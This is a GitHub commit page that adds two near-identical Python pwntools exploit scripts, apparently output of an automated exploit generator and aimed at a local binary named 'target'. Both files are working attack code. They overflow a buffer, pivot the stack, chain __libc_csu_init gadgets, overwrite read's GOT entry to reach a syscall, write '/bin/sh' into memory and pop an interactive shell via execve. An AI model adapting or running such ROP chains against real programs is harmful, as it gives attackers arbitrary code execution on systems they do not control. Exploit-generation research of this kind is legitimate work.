Skip to content

Commit d5a1b8a

Browse files
committed
examples: added generated exploit scripts
我好像有點強 Signed-off-by: Marco Wang <[email protected]>
1 parent 98df4b7 commit d5a1b8a

File tree

2 files changed

+340
-0
lines changed

2 files changed

+340
-0
lines changed

examples/readme-alt/exploit_0.py

Lines changed: 170 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,170 @@
1+
#!/usr/bin/env python3
2+
from pwn import *
3+
context.update(arch = 'amd64', os = 'linux', log_level = 'info')
4+
5+
elf = ELF('target', checksec=False)
6+
__libc_csu_init = 0x401150
7+
__libc_csu_init_call_target = 0x403e38
8+
__libc_csu_init_gadget1 = 0x4011a6
9+
__libc_csu_init_gadget2 = 0x401190
10+
canary = 0x0
11+
elf_base = 0x0
12+
pivot_dest = 0x404830
13+
pop_rsi_pop_r15_ret = 0x4011b1
14+
15+
if __name__ == '__main__':
16+
proc = elf.process()
17+
18+
# input state (offset = 80), skipped
19+
20+
# input state (offset = 80), skipped
21+
22+
# input state (offset = 80)
23+
# input state (rop chain begin)
24+
payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x30\x48\x40\x00\x00\x00\x00\x00\x2e\x11\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x48\x40\x00\x00\x00\x00\x00\x2e\x11\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'[:160]
25+
proc.send(payload)
26+
time.sleep(0.2)
27+
28+
payload = p64(elf_base + pop_rsi_pop_r15_ret)
29+
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x1)
30+
payload += p64(0x0)
31+
payload += p64(elf_base + elf.sym['read'])
32+
payload += p64(elf_base + pop_rsi_pop_r15_ret)
33+
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x2)
34+
proc.send(payload)
35+
time.sleep(0.2)
36+
37+
payload = p64(0x0)
38+
payload += p64(elf_base + elf.sym['read'])
39+
payload += p64(elf_base + pop_rsi_pop_r15_ret)
40+
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x3)
41+
payload += p64(0x0)
42+
payload += p64(elf_base + elf.sym['read'])
43+
proc.send(payload)
44+
time.sleep(0.2)
45+
46+
payload = p64(elf_base + pop_rsi_pop_r15_ret)
47+
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x4)
48+
payload += p64(0x0)
49+
payload += p64(elf_base + elf.sym['read'])
50+
payload += p64(elf_base + pop_rsi_pop_r15_ret)
51+
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x5)
52+
proc.send(payload)
53+
time.sleep(0.2)
54+
55+
payload = p64(0x0)
56+
payload += p64(elf_base + elf.sym['read'])
57+
payload += p64(elf_base + pop_rsi_pop_r15_ret)
58+
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x6)
59+
payload += p64(0x0)
60+
payload += p64(elf_base + elf.sym['read'])
61+
proc.send(payload)
62+
time.sleep(0.2)
63+
64+
payload = p64(elf_base + __libc_csu_init_gadget1)
65+
payload += p64(0x4141414141414141)
66+
payload += p64(0x0)
67+
payload += p64(0x1)
68+
payload += p64(0x0)
69+
payload += p64(elf_base + pivot_dest + 0x30 * 0x7)
70+
proc.send(payload)
71+
time.sleep(0.2)
72+
73+
payload = p64(0x400)
74+
payload += p64(elf_base + __libc_csu_init_call_target)
75+
payload += p64(elf_base + __libc_csu_init_gadget2)
76+
payload += p64(0x4141414141414141)
77+
payload += p64(0x4141414141414141)
78+
payload += p64(0x4141414141414141)
79+
proc.send(payload)
80+
time.sleep(0.2)
81+
82+
payload = p64(0x4141414141414141)
83+
payload += p64(0x4141414141414141)
84+
payload += p64(0x4141414141414141)
85+
payload += p64(0x4141414141414141)
86+
payload += p64(elf_base + elf.sym['read'])
87+
payload += p64(0x4141414141414141)
88+
proc.send(payload)
89+
time.sleep(0.2)
90+
91+
payload = p64(elf_base + __libc_csu_init_gadget1)
92+
payload += p64(0x4141414141414141)
93+
payload += p64(0x0)
94+
payload += p64(0x1)
95+
payload += p64(0x0)
96+
payload += p64(elf_base + elf.got['read'])
97+
payload += p64(0x1)
98+
payload += p64(elf_base + __libc_csu_init_call_target)
99+
payload += p64(elf_base + __libc_csu_init_gadget2)
100+
payload += p64(0x4141414141414141)
101+
payload += p64(0x4141414141414141)
102+
payload += p64(0x4141414141414141)
103+
payload += p64(0x4141414141414141)
104+
payload += p64(0x4141414141414141)
105+
payload += p64(0x4141414141414141)
106+
payload += p64(0x4141414141414141)
107+
payload += p64(elf_base + elf.sym['read'])
108+
payload += p64(elf_base + __libc_csu_init_gadget1)
109+
payload += p64(0x4141414141414141)
110+
payload += p64(0x0)
111+
payload += p64(0x1)
112+
payload += p64(0x1)
113+
payload += p64(0x0)
114+
payload += p64(0x0)
115+
payload += p64(elf_base + __libc_csu_init_call_target)
116+
payload += p64(elf_base + __libc_csu_init_gadget2)
117+
payload += p64(0x4141414141414141)
118+
payload += p64(0x4141414141414141)
119+
payload += p64(0x4141414141414141)
120+
payload += p64(0x4141414141414141)
121+
payload += p64(0x4141414141414141)
122+
payload += p64(0x4141414141414141)
123+
payload += p64(0x4141414141414141)
124+
payload += p64(elf_base + elf.sym['read'])
125+
payload += p64(elf_base + __libc_csu_init_gadget1)
126+
payload += p64(0x4141414141414141)
127+
payload += p64(0x0)
128+
payload += p64(0x1)
129+
payload += p64(0x0)
130+
payload += p64(elf_base + elf.bss())
131+
payload += p64(0x3b)
132+
payload += p64(elf_base + __libc_csu_init_call_target)
133+
payload += p64(elf_base + __libc_csu_init_gadget2)
134+
payload += p64(0x4141414141414141)
135+
payload += p64(0x4141414141414141)
136+
payload += p64(0x4141414141414141)
137+
payload += p64(0x4141414141414141)
138+
payload += p64(0x4141414141414141)
139+
payload += p64(0x4141414141414141)
140+
payload += p64(0x4141414141414141)
141+
payload += p64(elf_base + elf.sym['read'])
142+
payload += p64(elf_base + __libc_csu_init_gadget1)
143+
payload += p64(0x4141414141414141)
144+
payload += p64(0x0)
145+
payload += p64(0x1)
146+
payload += p64(elf_base + elf.bss())
147+
payload += p64(0x0)
148+
payload += p64(0x0)
149+
payload += p64(elf_base + __libc_csu_init_call_target)
150+
payload += p64(elf_base + __libc_csu_init_gadget2)
151+
payload += p64(0x4141414141414141)
152+
payload += p64(0x4141414141414141)
153+
payload += p64(0x4141414141414141)
154+
payload += p64(0x4141414141414141)
155+
payload += p64(0x4141414141414141)
156+
payload += p64(0x4141414141414141)
157+
payload += p64(0x4141414141414141)
158+
payload += p64(elf_base + elf.sym['read'])
159+
proc.send(payload)
160+
time.sleep(0.2)
161+
162+
payload = b'\x40'
163+
proc.send(payload)
164+
time.sleep(0.2)
165+
166+
payload = b'\x2f\x62\x69\x6e\x2f\x73\x68\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
167+
proc.send(payload)
168+
time.sleep(0.2)
169+
170+
proc.interactive()

examples/readme/exploit_0.py

Lines changed: 170 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,170 @@
1+
#!/usr/bin/env python3
2+
from pwn import *
3+
context.update(arch = 'amd64', os = 'linux', log_level = 'info')
4+
5+
elf = ELF('target', checksec=False)
6+
__libc_csu_init = 0x401150
7+
__libc_csu_init_call_target = 0x403e38
8+
__libc_csu_init_gadget1 = 0x4011a6
9+
__libc_csu_init_gadget2 = 0x401190
10+
canary = 0x0
11+
elf_base = 0x0
12+
pivot_dest = 0x404830
13+
pop_rsi_pop_r15_ret = 0x4011b1
14+
15+
if __name__ == '__main__':
16+
proc = elf.process()
17+
18+
# input state (offset = 48), skipped
19+
20+
# input state (offset = 48), skipped
21+
22+
# input state (offset = 48)
23+
# input state (rop chain begin)
24+
payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\x48\x40\x00\x00\x00\x00\x00\x2e\x11\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x48\x40\x00\x00\x00\x00\x00\x2e\x11\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'[:96]
25+
proc.send(payload)
26+
time.sleep(0.2)
27+
28+
payload = p64(elf_base + pop_rsi_pop_r15_ret)
29+
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x1)
30+
payload += p64(0x0)
31+
payload += p64(elf_base + elf.sym['read'])
32+
payload += p64(elf_base + pop_rsi_pop_r15_ret)
33+
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x2)
34+
proc.send(payload)
35+
time.sleep(0.2)
36+
37+
payload = p64(0x0)
38+
payload += p64(elf_base + elf.sym['read'])
39+
payload += p64(elf_base + pop_rsi_pop_r15_ret)
40+
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x3)
41+
payload += p64(0x0)
42+
payload += p64(elf_base + elf.sym['read'])
43+
proc.send(payload)
44+
time.sleep(0.2)
45+
46+
payload = p64(elf_base + pop_rsi_pop_r15_ret)
47+
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x4)
48+
payload += p64(0x0)
49+
payload += p64(elf_base + elf.sym['read'])
50+
payload += p64(elf_base + pop_rsi_pop_r15_ret)
51+
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x5)
52+
proc.send(payload)
53+
time.sleep(0.2)
54+
55+
payload = p64(0x0)
56+
payload += p64(elf_base + elf.sym['read'])
57+
payload += p64(elf_base + pop_rsi_pop_r15_ret)
58+
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x6)
59+
payload += p64(0x0)
60+
payload += p64(elf_base + elf.sym['read'])
61+
proc.send(payload)
62+
time.sleep(0.2)
63+
64+
payload = p64(elf_base + __libc_csu_init_gadget1)
65+
payload += p64(0x4141414141414141)
66+
payload += p64(0x0)
67+
payload += p64(0x1)
68+
payload += p64(0x0)
69+
payload += p64(elf_base + pivot_dest + 0x30 * 0x7)
70+
proc.send(payload)
71+
time.sleep(0.2)
72+
73+
payload = p64(0x400)
74+
payload += p64(elf_base + __libc_csu_init_call_target)
75+
payload += p64(elf_base + __libc_csu_init_gadget2)
76+
payload += p64(0x4141414141414141)
77+
payload += p64(0x4141414141414141)
78+
payload += p64(0x4141414141414141)
79+
proc.send(payload)
80+
time.sleep(0.2)
81+
82+
payload = p64(0x4141414141414141)
83+
payload += p64(0x4141414141414141)
84+
payload += p64(0x4141414141414141)
85+
payload += p64(0x4141414141414141)
86+
payload += p64(elf_base + elf.sym['read'])
87+
payload += p64(0x4141414141414141)
88+
proc.send(payload)
89+
time.sleep(0.2)
90+
91+
payload = p64(elf_base + __libc_csu_init_gadget1)
92+
payload += p64(0x4141414141414141)
93+
payload += p64(0x0)
94+
payload += p64(0x1)
95+
payload += p64(0x0)
96+
payload += p64(elf_base + elf.got['read'])
97+
payload += p64(0x1)
98+
payload += p64(elf_base + __libc_csu_init_call_target)
99+
payload += p64(elf_base + __libc_csu_init_gadget2)
100+
payload += p64(0x4141414141414141)
101+
payload += p64(0x4141414141414141)
102+
payload += p64(0x4141414141414141)
103+
payload += p64(0x4141414141414141)
104+
payload += p64(0x4141414141414141)
105+
payload += p64(0x4141414141414141)
106+
payload += p64(0x4141414141414141)
107+
payload += p64(elf_base + elf.sym['read'])
108+
payload += p64(elf_base + __libc_csu_init_gadget1)
109+
payload += p64(0x4141414141414141)
110+
payload += p64(0x0)
111+
payload += p64(0x1)
112+
payload += p64(0x1)
113+
payload += p64(0x0)
114+
payload += p64(0x0)
115+
payload += p64(elf_base + __libc_csu_init_call_target)
116+
payload += p64(elf_base + __libc_csu_init_gadget2)
117+
payload += p64(0x4141414141414141)
118+
payload += p64(0x4141414141414141)
119+
payload += p64(0x4141414141414141)
120+
payload += p64(0x4141414141414141)
121+
payload += p64(0x4141414141414141)
122+
payload += p64(0x4141414141414141)
123+
payload += p64(0x4141414141414141)
124+
payload += p64(elf_base + elf.sym['read'])
125+
payload += p64(elf_base + __libc_csu_init_gadget1)
126+
payload += p64(0x4141414141414141)
127+
payload += p64(0x0)
128+
payload += p64(0x1)
129+
payload += p64(0x0)
130+
payload += p64(elf_base + elf.bss())
131+
payload += p64(0x3b)
132+
payload += p64(elf_base + __libc_csu_init_call_target)
133+
payload += p64(elf_base + __libc_csu_init_gadget2)
134+
payload += p64(0x4141414141414141)
135+
payload += p64(0x4141414141414141)
136+
payload += p64(0x4141414141414141)
137+
payload += p64(0x4141414141414141)
138+
payload += p64(0x4141414141414141)
139+
payload += p64(0x4141414141414141)
140+
payload += p64(0x4141414141414141)
141+
payload += p64(elf_base + elf.sym['read'])
142+
payload += p64(elf_base + __libc_csu_init_gadget1)
143+
payload += p64(0x4141414141414141)
144+
payload += p64(0x0)
145+
payload += p64(0x1)
146+
payload += p64(elf_base + elf.bss())
147+
payload += p64(0x0)
148+
payload += p64(0x0)
149+
payload += p64(elf_base + __libc_csu_init_call_target)
150+
payload += p64(elf_base + __libc_csu_init_gadget2)
151+
payload += p64(0x4141414141414141)
152+
payload += p64(0x4141414141414141)
153+
payload += p64(0x4141414141414141)
154+
payload += p64(0x4141414141414141)
155+
payload += p64(0x4141414141414141)
156+
payload += p64(0x4141414141414141)
157+
payload += p64(0x4141414141414141)
158+
payload += p64(elf_base + elf.sym['read'])
159+
proc.send(payload)
160+
time.sleep(0.2)
161+
162+
payload = b'\x40'
163+
proc.send(payload)
164+
time.sleep(0.2)
165+
166+
payload = b'\x2f\x62\x69\x6e\x2f\x73\x68\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
167+
proc.send(payload)
168+
time.sleep(0.2)
169+
170+
proc.interactive()

0 commit comments

Comments
 (0)